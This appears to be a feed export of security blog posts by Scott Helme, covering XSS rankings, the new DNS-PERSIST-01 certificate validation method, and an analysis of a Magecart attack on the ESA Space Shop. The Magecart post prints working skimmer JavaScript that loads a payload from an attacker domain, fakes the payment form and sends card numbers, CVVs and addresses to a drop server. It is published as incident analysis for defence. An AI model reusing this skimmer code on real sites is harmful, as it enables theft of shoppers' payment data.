style=\"text-align:right\">483</td>\n</tr>\n<tr>\n<td>CWE-476</td>\n<td style=\"text-align:right\">478</td>\n</tr>\n<tr>\n<td>CWE-94</td>\n<td style=\"text-align:right\">468</td>\n</tr>\n<tr>\n<td>CWE-863</td>\n<td style=\"text-align:right\">409</td>\n</tr>\n<tr>\n<td>CWE-639</td>\n<td style=\"text-align:right\">362</td>\n</tr>\n<tr>\n<td>CWE-306</td>\n<td style=\"text-align:right\">356</td>\n</tr>\n<tr>\n<td>CWE-770</td>\n<td style=\"text-align:right\">317</td>\n</tr>\n<tr>\n<td><strong>Total</strong></td>\n<td style=\"text-align:right\"><strong>43,473</strong></td>\n</tr>\n</tbody>\n</table>\n<p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"1000\" height=\"530\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png 1000w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"looking-further-back\">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href=\"https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, I thought I'd take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it's not filling me with confidence.</p><p></p><table>\n<thead>\n<tr>\n<th>Year</th>\n<th style=\"text-align:right\">XSS Rank</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>2026</td>\n<td style=\"text-align:right\">#1 (so far!)</td>\n</tr>\n<tr>\n<td>2025</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2024</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2023</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2022</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2021</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2020</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n<tr>\n<td>2019</td>\n<td style=\"text-align:right\">#2</td>\n</tr>\n<tr>\n<td>2011</td>\n<td style=\"text-align:right\">#4</td>\n</tr>\n<tr>\n<td>2010</td>\n<td style=\"text-align:right\">#1</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id=\"detecting-and-mitigating-xss\">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we'd best get started on making some progress soon!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            }
          ]
        },
        {
          "id": "6960bdfda2de7d0001fa2984",
          "title": "DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World",
          "description": "<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let's take a look at the benefits and the drawbacks.</p><p></p><h4 id=\"first-a-quick-recap\">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>",
          "url": "https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/",
          "published": "2026-02-09T17:55:16.000Z",
          "updated": "2026-02-09T17:55:16.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp\" alt=\"DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World\"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let's take a look at the benefits and the drawbacks.</p><p></p><h4 id=\"first-a-quick-recap\">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let's Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let's Encrypt and say \"I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain\", Let's Encrypt are required to say \"prove that you own <code>scotthelme.co.uk</code> and we will\". That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We're not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id=\"http-01\">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let's Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let's Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id=\"dns-01\">DNS-01</h4><p>Using the DNS-01 method, Let's Encrypt still need to verify my control of the domain, but the process changes slightly. We're now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk\nType:  TXT\nValue: \"X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ\"</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let's Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can't be obtained with HTTP-01. </p><p></p><h4 id=\"tls-alpn-01\">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That's no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id=\"in-summary\">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 → prove control of web content<br>DNS-01 → prove control of DNS zone<br>TLS-ALPN-01 → prove control of TLS endpoint</p><p></p><h4 id=\"looking-to-the-future\">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don't get me wrong, DCV should not be 'easy', especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let's Encrypt are already offering <a href=\"https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here's a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>\n<thead>\n<tr>\n<th>Year</th>\n<th>Certificate Lifetime</th>\n<th>DCV Re-use Window</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Now</td>\n<td>398 days</td>\n<td>398 days</td>\n</tr>\n<tr>\n<td>2026</td>\n<td>200 days</td>\n<td>200 days</td>\n</tr>\n<tr>\n<td>2027</td>\n<td>100 days</td>\n<td>100 days</td>\n</tr>\n<tr>\n<td>2029</td>\n<td>47 days</td>\n<td>10 days</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id=\"dns-persist-01\">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the 'persist' in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk\nType:  TXT\nValue: \"letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard\"</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let's Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let's Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let's Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we'll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn't show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk\nType:  TXT\nValue: \"letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300\"</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn't sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any 'live' form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id=\"coming-to-a-ca-near-you\">Coming to a CA near you</h4><p>Let's Encrypt have <a href=\"https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type\" rel=\"noreferrer\">stated</a> that they will have support for this in 2026, and I imagine it won't take too much longer for other CAs to start supporting this mechanism too. I'm hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "DCV",
              "term": "DCV",
              "url": null
            },
            {
              "label": "DNS-PERSIST-01",
              "term": "DNS-PERSIST-01",
              "url": null
            },
            {
              "label": "Certificate Authorities",
              "term": "Certificate Authorities",
              "url": null
            }
          ]
        },
        {
          "id": "697b755b03d4840001b00ed8",
          "title": "The European Space Agency got hacked, and now we own the domain used!",
          "description": "<p>It's not often that two of my interests align so well, but we're talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>",
          "url": "https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/",
          "published": "2026-02-02T13:01:53.000Z",
          "updated": "2026-02-02T13:01:53.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp\" alt=\"The European Space Agency got hacked, and now we own the domain used!\"><p>It's not often that two of my interests align so well, but we're talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id=\"mage-who\">Mage-who? </h4><p>I've talked about Magecart a <a href=\"https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">lot</a>, and they've posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we have a <a href=\"https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you'd like more information, and our <a href=\"https://report-uri.com/case_studies?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id=\"the-european-space-agency\">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don't always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class=\"language-html\"><script>\n  if (document.location.href.includes(\"checkout\")){\n    var jqScript = document.createElement('script');\n    jqScript.setAttribute('src','https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js');\n    document.addEventListener(\"DOMContentLoaded\", function(){\n    document.body.appendChild(jqScript);\n    });\n  }\n</script></code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href=\"https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/\" rel=\"noreferrer\">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it's acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = \"*snip*\";\nvar cookieName = \"6b2ad00bbd228ca0f23879b1e050f03f\";\n\nfunction setCustomCookie(){\n\tlocalStorage.setItem(\"customCookie\", cookieName);\n}\n\nfunction isCustomCookieSet(){\n\tif (localStorage.getItem(\"customCookie\")){\n\t\treturn true;\n\t}\n\telse{\n\t\treturn false;\n\t}\n}\n\n\nif (!isCustomCookieSet()){\n\tsetInterval(function(){\n\t\tif (jQuery(\"#payment-confirmation-true\").length === 0 && jQuery(\"#stripe_stripe_checkout\").length !== 0){\n\t\t\tvar paymentButtonOrig = jQuery(\"#stripe_stripe_checkout\").find(\"button[type='submit']\")[0];\n\t\t\tjQuery(paymentButtonOrig).attr(\"id\", \"payment-confirmation\");\n\t\t\tvar paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();\n\t\t\tjQuery(paymentButtonClone).attr(\"id\", \"payment-confirmation-true\");\n\t\t\tjQuery(paymentButtonClone).attr(\"type\", \"button\");\n\t\t\tjQuery(paymentButtonClone).removeAttr(\"data-bind\");\n\t\t\tjQuery(paymentButtonClone).removeAttr(\"disabled\");\n\t\t\tjQuery(paymentButtonClone).insertBefore(paymentButtonOrig);\n\t\t\tjQuery(\"#payment-confirmation\").hide();\n\t\t\t\n\t\t\tjQuery(paymentButtonClone).on(\"click\", function(){\n\t\t\t\t//parse address\n\t\t\t\tvar checkoutCfg = window.checkoutConfig;\n\t\t\t\tvar addressObject = checkoutCfg['shippingAddressFromData'];\n\t\t\t\t\n\t\t\t\tif (addressObject !== undefined){\n\t\t\t\t\tvar fName = addressObject['firstname'];\n\t\t\t\t\tvar lName = addressObject['lastname'];\n\t\t\t\t\tvar address = addressObject['street'][0];\n\t\t\t\t\tvar country = addressObject['country_id'];\n\t\t\t\t\tvar zip = addressObject['postcode'];\n\t\t\t\t\tvar city = addressObject['city'];\n\t\t\t\t\tvar state = addressObject['region'];\n\t\t\t\t\tvar phone = addressObject['telephone'];\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tvar fName = jQuery(\"input[name='firstname']\").val();\n\t\t\t\t\tvar lName = jQuery(\"input[name='lastname']\").val();\n\t\t\t\t\tvar address = jQuery(\"input[name='street[0]']\").val();\n\t\t\t\t\tvar country = jQuery(\"select[name='country_id'] option:selected\").val();\n\t\t\t\t\tvar zip = jQuery(\"input[name='postcode']\").val();\n\t\t\t\t\tvar city = jQuery(\"input[name='city']\").val();\n\t\t\t\t\tvar state = jQuery(\"select[name='region_id'] option:selected\").attr(\"data-title\");\n\t\t\t\t\tvar phone = jQuery(\"input[name='telephone']\").val();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvar price = parseFloat(checkoutCfg['totalsData']['base_grand_total']).toFixed(2);\n\t\t\t\t\n\t\t\t\tif (fName !== \"\" && lName !== \"\"){\n\t\t\t\t\tvar espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{GRAND_TOTAL}\", price);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{EMAIL}\", checkoutCfg['validatedEmailValue']);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{fName}\", fName);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{lName}\", lName);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{address}\", address);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{country}\", country);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{state}\", state);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{zip}\", zip);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{city}\", city);\n\t\t\t\t\tespaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(\"{phone}\", phone);\n\t\t\t\t\t\n\t\t\t\t\tdocument.write(espaceStripeHtmlClear);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tjQuery(\"#payment-confirmation\").click();\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}, 100);\n}\n}</code></pre><p></p><p>I've snipped the content of the first variable as it's massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn't actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real 'checkout' button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker's button instead. </li><li>Clicking the attacker's button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can't record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href=\"https://pastebin.com/KPXai359?ref=scotthelme.ghost.io\" rel=\"noreferrer\">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href=\"https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js\" rel=\"noreferrer\">here</a>. PasteBin won't allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class=\"language-javascript\">function makePayment(){\n\t\tsetCustomCookie();\n\t\tvar ccNum = ccnumE.value.replaceAll(\" \", \"\");\n\t\tvar expM = parseInt(ccexpE.value.split(' / ')[0]);\n\t\tvar expY = parseInt(ccexpE.value.split(' / ')[1]);\n\t\tvar cvv = parseInt(cccvvE.value);\n\t\t\n\t\tvar resultString = ccNum   \";\"   expM   \";\"   expY   \";\"   cvv   \";\"   FName   \";\"   LName   \";\"   Address   \";\"   Country   \";\"   Zip   \";\"   State   \";\"   city   \";\"   phone   \";\"   shop;\n\t\t\n\t\tvar resultImg = document.createElement(\"img\");\n\t\tresultImg.src = \"https://esaspaceshop.pics/redirect-non-site.php?datasend=\"   btoa(resultString);\n\t\tresultImg.hidden = true;\n\t\tdocument.body.appendChild(resultImg);\n\t\t\n\t\t//show error\n\t\talert(\"Card number is incomplete, please try again\");\n\t\twindow.location.reload();\n\t}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They're then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they're showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id=\"where-we-could-have-stopped-this-attack\">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn't have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that's a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href=\"https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Defence In Depth</a> even exists. I'm not saying that solutions like Report URI are the primary line of defence against attacks like these, we're not, and we shouldn't be. What I'm saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we're the ideal last line of defence. </p><p></p><h4 id=\"esaspaceshoppics\">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a 'throwaway' domain for the attackers that's only useful in this particular attack, they don't tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href=\"https://esaspaceshop.pics/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href=\"https://webfotce.me/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            },
            {
              "label": "magecart",
              "term": "magecart",
              "url": null
            },
            {
              "label": "European Space Agency",
              "term": "European Space Agency",
              "url": null
            }
          ]
        },
        {
          "id": "69638d1da2de7d0001fa2bb3",
          "title": "Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us",
